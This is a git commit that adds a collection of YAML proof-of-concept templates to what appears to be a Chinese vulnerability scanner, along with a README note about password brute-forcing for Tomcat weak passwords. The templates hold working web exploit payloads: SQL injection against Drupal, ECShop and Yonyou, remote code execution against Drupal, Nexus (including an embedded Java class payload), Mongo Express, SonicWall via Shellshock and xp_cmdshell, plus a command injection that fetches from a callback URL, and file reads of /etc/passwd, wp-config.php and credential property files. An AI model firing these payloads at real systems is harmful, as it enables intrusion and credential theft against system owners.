修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

2026-10-28 19:00:48 +00:00 · 2021-02-25 19:53:58 +08:00
1 parent 0df4e314d1
commit 41deddb132
@@ -14,7 +14,7 @@
 因为用习惯了f-scrack，习惯一条命令跑完所有模块，省去一个个模块单独调用的时间，当然我附加了-m 指定模块的功能。

 ## 最近更新
-[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
+[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml  
 [+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。  
 [+] 2021/2/5 修改icmp发包模式,更适合大规模探测。   
 修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度    
@@ -0,0 +1,19 @@
+name: poc-yaml-dlink-cve-2019-16920-rce
+set:
+  reverse: newReverse()
+  reverseURL: reverse.url
+rules:
+  - method: POST
+    path: /apply_sec.cgi
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: >-
+      html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}}
+    follow_redirects: true
+    expression: |
+      response.status == 200 && reverse.wait(5)
+detail:
+  author: JingLing(https://hackfun.org/)
+  links:
+    - https://www.anquanke.com/post/id/187923
+    - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
@@ -0,0 +1,14 @@
+name: poc-yaml-drupal-cve-2014-3704-sqli
+rules:
+  - method: POST
+    path: /?q=node&destination=node
+    body: >-
+      pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or
+      updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a
+    follow_redirects: false
+    expression: |
+      response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53")
+detail:
+  Affected Version: "Drupal < 7.32"
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704
@@ -0,0 +1,39 @@
+name: poc-yaml-drupal-cve-2018-7600-rce
+set:
+  r1: randomLowercase(4)
+  r2: randomLowercase(4)
+groups:
+  drupal8:
+    - method: POST
+      path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
+      expression: |
+        response.body.bcontains(bytes(r1 + "%" + r2))
+  drupal7:
+    - method: POST
+      path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
+      search: |
+        name="form_build_id"\s+value="(?P<build_id>.+?)"
+      expression: |
+        response.status == 200
+    - method: POST
+      path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        form_build_id={{build_id}}
+      expression: |
+        response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  links:
+    - https://github.com/dreadlocked/Drupalgeddon2
+    - https://paper.seebug.org/567/
+test:
+  target: http://cve-2018-7600-8-x.vulnet:8080/
@@ -0,0 +1,13 @@
+name: poc-yaml-ecshop-cnvd-2020-58823-sqli
+set:
+  r1: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: /delete_cart_goods.php
+    body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1))
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
+detail:
+  author: 凉风(http://webkiller.cn/)
+  links:
+    - https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw
@@ -0,0 +1,27 @@
+name: poc-yaml-ecshop-rce
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+groups:
+  2.x:
+    - method: POST
+      path: /user.php
+      headers:
+        Referer: >-
+         554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
+        Content-Type: application/x-www-form-urlencoded
+      body: action=login&pp123=printf({{r1}}*{{r2}});
+      expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+  3.x:
+    - method: POST
+      path: /user.php
+      headers:
+        Referer: >-
+         45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
+        Content-Type: application/x-www-form-urlencoded
+      body: action=login&pp123=printf({{r1}}*{{r2}});
+      expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  author: 凉风(http://webkiller.cn/)
+  links:
+    - https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
@@ -0,0 +1,13 @@
+name: poc-yaml-jenkins-cve-2018-1000600
+set:
+    reverse: newReverse()
+    reverseUrl: reverse.url
+rules:
+    - method: GET
+      path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl={{reverseUrl}}
+      expression: |
+        response.status == 200 && reverse.wait(5)
+detail:
+    author: PickledFish(https://github.com/PickledFish)
+    links:
+        - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
@@ -0,0 +1,33 @@
+name: poc-yaml-jumpserver-unauth-rce
+set:
+  r1: randomLowercase(5)
+groups:
+  users:
+    - method: GET
+      path: /api/v1/users/connection-token/
+      follow_redirects: false
+      expression: |
+        response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
+    - method: GET
+      path: /api/v1/users/connection-token/?user-only={{r1}}
+      follow_redirects: false
+      expression: |
+        response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
+  authentication:
+    - method: GET
+      path: /api/v1/authentication/connection-token/
+      follow_redirects: false
+      expression: |
+        response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
+    - method: GET
+      path: /api/v1/authentication/connection-token/?user-only={{r1}}
+      follow_redirects: false
+      expression: |
+        response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
+detail:
+  author: mvhz81
+  info: jumpserver unauth read logfile + jumpserver rce
+  links:
+    - https://s.tencent.com/research/bsafe/1228.html
+    - https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
+    - https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
@@ -0,0 +1,12 @@
+name: poc-yaml-lanproxy-cve-2021-3019-lfi
+rules:
+  - method: GET
+    path: "/../conf/config.properties"
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(b"config.admin.username"))) && response.body.bcontains(bytes(string(b"config.admin.password"))) && response.content_type.contains("application/octet-stream")
+detail:
+  author: pa55w0rd(www.pa55w0rd.online/)
+  Affected Version: "lanproxy 0.1"
+  links:
+    - https://github.com/ffay/lanproxy/issues/152
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019
@@ -0,0 +1,11 @@
+name: poc-yaml-laravel-debug-info-leak
+rules:
+  - method: POST
+    path: /
+    follow_redirects: false
+    expression: >
+      response.status == 405 && response.body.bcontains(b"MethodNotAllowedHttpException") && response.body.bcontains(b"Environment &amp; details") && (response.body.bcontains(b"vendor\\laravel\\framework\\src\\Illuminate\\Routing\\RouteCollection.php") || response.body.bcontains(b"vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php"))
+detail:
+  author: Dem0ns (https://github.com/dem0ns)
+  links:
+    - https://github.com/dem0ns/improper/tree/master/laravel/5_debug
@@ -0,0 +1,11 @@
+name: poc-yaml-laravel-improper-webdir
+rules:
+  - method: GET
+    path: /storage/logs/laravel.log
+    follow_redirects: false
+    expression: >
+      response.status == 200 && (response.content_type.contains("plain") || response.content_type.contains("octet-stream")) && (response.body.bcontains(b"vendor\\laravel\\framework") || response.body.bcontains(b"vendor/laravel/framework")) && (response.body.bcontains(b"stacktrace") || response.body.bcontains(b"Stack trace"))
+detail:
+  author: Dem0ns (https://github.com/dem0ns)
+  links:
+    - https://github.com/dem0ns/improper
@@ -0,0 +1,21 @@
+name: poc-yaml-mongo-express-cve-2019-10758
+set:
+  reverse: newReverse()
+  reverseURL: reverse.url
+rules:
+  - method: POST
+    path: /checkValid
+    headers:
+      Authorization: Basic YWRtaW46cGFzcw==
+    body: >-
+      document=this.constructor.constructor('return process')().mainModule.require('http').get('{{reverseURL}}')
+    follow_redirects: true
+    expression: >
+      reverse.wait(5)
+detail:
+  vulnpath: '/checkValid'
+  author: fnmsd(https://github.com/fnmsd)
+  description: 'Mongo Express CVE-2019-10758 Code Execution'
+  links:
+    - https://github.com/masahiro331/CVE-2019-10758
+    - https://www.twilio.com/blog/2017/08/http-requests-in-node-js.html
@@ -0,0 +1,20 @@
+name: poc-yaml-nexus-cve-2019-7238
+set:
+  r1: randomInt(800000000, 1000000000)
+  r2: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: "/service/extdirect"
+    headers:
+      Content-Type: application/json
+    body: |
+      {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000Line truncated
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+  Affected Version: "nexus<3.15"
+  author: hanxiansheng26(https://github.com/hanxiansheng26)
+  links:
+    - https://github.com/jas502n/CVE-2019-7238
+    - https://github.com/verctor/nexus_rce_CVE-2019-7238
+    - https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
@@ -0,0 +1,21 @@
+name: poc-yaml-nexus-cve-2020-10199
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: "/rest/beta/repositories/go/group"
+    headers:
+      Content-Type: application/json
+    body: |
+      {"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ {{r1}} * {{r2}} }"]}}
+    expression: |
+      response.status == 400 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  Affected Version: "nexus<3.21.2"
+  author: kingkk(https://www.kingkk.com/)
+  links:
+    - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
+    - https://www.cnblogs.com/magic-zero/p/12641068.html
+    - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
+    - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
@@ -0,0 +1,20 @@
+name: poc-yaml-nexus-cve-2020-10204
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: "/extdirect"
+    headers:
+      Content-Type: application/json
+    body: |
+      {"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28}
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  Affected Version: "nexus<3.21.2"
+  author: kingkk(https://www.kingkk.com/)
+  links:
+    - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
+    - https://www.cnblogs.com/magic-zero/p/12641068.html
+    - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
@@ -0,0 +1,22 @@
+name: poc-yaml-nexus-default-password
+rules:
+  - method: GET
+    path: /nexus/service/siesta/capabilities
+    expression: >
+      response.status == 401
+  - method: GET
+    path: /nexus/service/local/authentication/login
+    headers:
+      Accept: application/json
+      Authorization: Basic YWRtaW46YWRtaW4xMjM=
+    expression: >
+      response.status == 200
+  - method: GET
+    path: /nexus/service/siesta/capabilities
+    expression: >
+      response.status == 200
+detail:
+  author: Soveless(https://github.com/Soveless)
+  Affected Version: "Nexus Repository Manager OSS"
+  links:
+    - https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager
@@ -0,0 +1,13 @@
+name: poc-yaml-phpmyadmin-setup-deserialization
+rules:
+  - method: POST
+    path: /scripts/setup.php
+    body: >-
+      action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
+    follow_redirects: false
+    expression: >-
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: p0wd3r
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
@@ -0,0 +1,16 @@
+name: poc-yaml-seeyon-ajax-unauthorized-access
+rules:
+  - method: GET
+    path: /seeyon/thirdpartyController.do.css/..;/ajax.do
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes("java.lang.NullPointerException:null"))
+  - method: GET
+    path: /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes("MMOneProfile")) && response.body.bcontains(bytes("productTags")) && response.body.bcontains(bytes("serverIdentifier")) && response.content_type.contains("application/json")
+
+detail:
+  author: x1n9Qi8
+  links:
+    - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA
+    - https://buaq.net/go-53721.html
@@ -0,0 +1,11 @@
+name: poc-yaml-seeyon-cnvd-2020-62422-readfile
+rules:
+  - method: GET
+    path: /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties
+    follow_redirects: false
+    expression: response.status == 200 && response.content_type.icontains("application/x-msdownload") && response.body.bcontains(b"ctpDataSource.password")
+detail:
+  author: Aquilao(https://github.com/Aquilao)
+  info: seeyon readfile(CNVD-2020-62422)
+  links:
+    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-62422
@@ -0,0 +1,16 @@
+name: poc-yaml-sonicwall-ssl-vpn-rce
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(1140000, 1144800)
+rules:
+  - method: GET
+    path: /cgi-bin/jarrewrite.sh
+    follow_redirects: false
+    headers:
+      X-Test: () { :; }; echo ; /bin/bash -c 'expr {{r1}} - {{r2}}'
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 - r2)))
+detail:
+  author: sharecast
+  links:
+    - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
@@ -0,0 +1,15 @@
+name: poc-yaml-springboot-env-unauth
+groups:
+  spring1:
+    - method: GET
+      path: /env
+      expression: |
+        response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
+  spring2:
+    - method: GET
+      path: /actuator/env
+      expression: |
+        response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
+detail:
+  links:
+    - https://github.com/LandGrey/SpringBootVulExploit
@@ -0,0 +1,18 @@
+name: poc-yaml-vmware-vcenter-arbitrary-file-read
+groups:
+  win:
+    - method: GET
+      path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
+      follow_redirects: false
+      expression: |
+        response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
+  linux:
+    - method: GET
+      path: /eam/vib?id=/etc/passwd
+      follow_redirects: false
+      expression: |
+        response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: MrP01ntSun(https://github.com/MrPointSun)
+  links:
+    - https://t.co/LfvbyBUhF5
@@ -0,0 +1,16 @@
+name: poc-yaml-vmware-vcenter-unauthorized-rce-cve-2021-21972
+rules:
+  - method: GET
+    path: /ui/vropspluginui/rest/services/uploadova
+    follow_redirects: false
+    expression: |
+      response.status == 405 && response.body.bcontains(b"Method Not Allowed")
+  - method: GET
+    path: /ui/vropspluginui/rest/services/getstatus
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"States") && response.body.bcontains(b"Install Progress")
+detail:
+  author: B1anda0(https://github.com/B1anda0)
+  links:
+    - https://swarm.ptsecurity.com/unauth-rce-vmware/
@@ -0,0 +1,11 @@
+name: poc-yaml-wordpress-cve-2019-19985-infoleak
+rules:
+  - method: GET
+    path: "/wp-admin/admin.php?page=download_report&report=users&status=all"
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"]))
+detail:
+  author: bufsnake(https://github.com/bufsnake)
+  links:
+    - https://www.exploit-db.com/exploits/48698
@@ -0,0 +1,13 @@
+name: poc-yaml-wordpress-ext-adaptive-images-lfi
+rules:
+  - method: GET
+    path: >-
+      /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST")
+detail:
+  author: FiveAourThe(https://github.com/FiveAourThe)
+  links:
+    - https://www.anquanke.com/vul/id/1674598
+    - https://github.com/security-kma/EXPLOITING-CVE-2019-14205
@@ -0,0 +1,23 @@
+name: poc-yaml-wordpress-ext-mailpress-rce
+set:
+  r: randomInt(800000000, 1000000000)
+  r1: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: "/wp-content/plugins/mailpress/mp-includes/action.php"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php echo {{r}}%2b{{r1}};?>&html=&plaintext=&mail_format=standard&autosave=1
+    expression: "true"
+    search: |
+      <autosave id='(?P<id>.+?)'
+  - method: GET
+    path: "/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id={{id}}"
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
+
+detail:
+  author: violin
+  links:
+    - https://github.com/Medicean/VulApps/tree/master/w/wordpress/2
@@ -0,0 +1,16 @@
+name: poc-yaml-yonyou-grp-u8-sqli-to-rce
+set:
+  r1: randomInt(1000, 9999)
+  r2: randomInt(1000, 9999)
+rules:
+  - method: POST
+    path: /Proxy
+    follow_redirects: false
+    body: |
+      cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'set/A {{r1}}*{{r2}}'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  author: MrP01ntSun(https://github.com/MrPointSun)
+  links:
+    - https://www.hackbug.net/archives/111.html
@@ -0,0 +1,15 @@
+name: poc-yaml-yonyou-grp-u8-sqli
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: /Proxy
+    body: >
+      cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{r1}}%2a{{r2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  author: 凉风(http://webkiller.cn/)
+  links:
+    - https://www.hacking8.com/bug-web/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B-GRP-u8%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html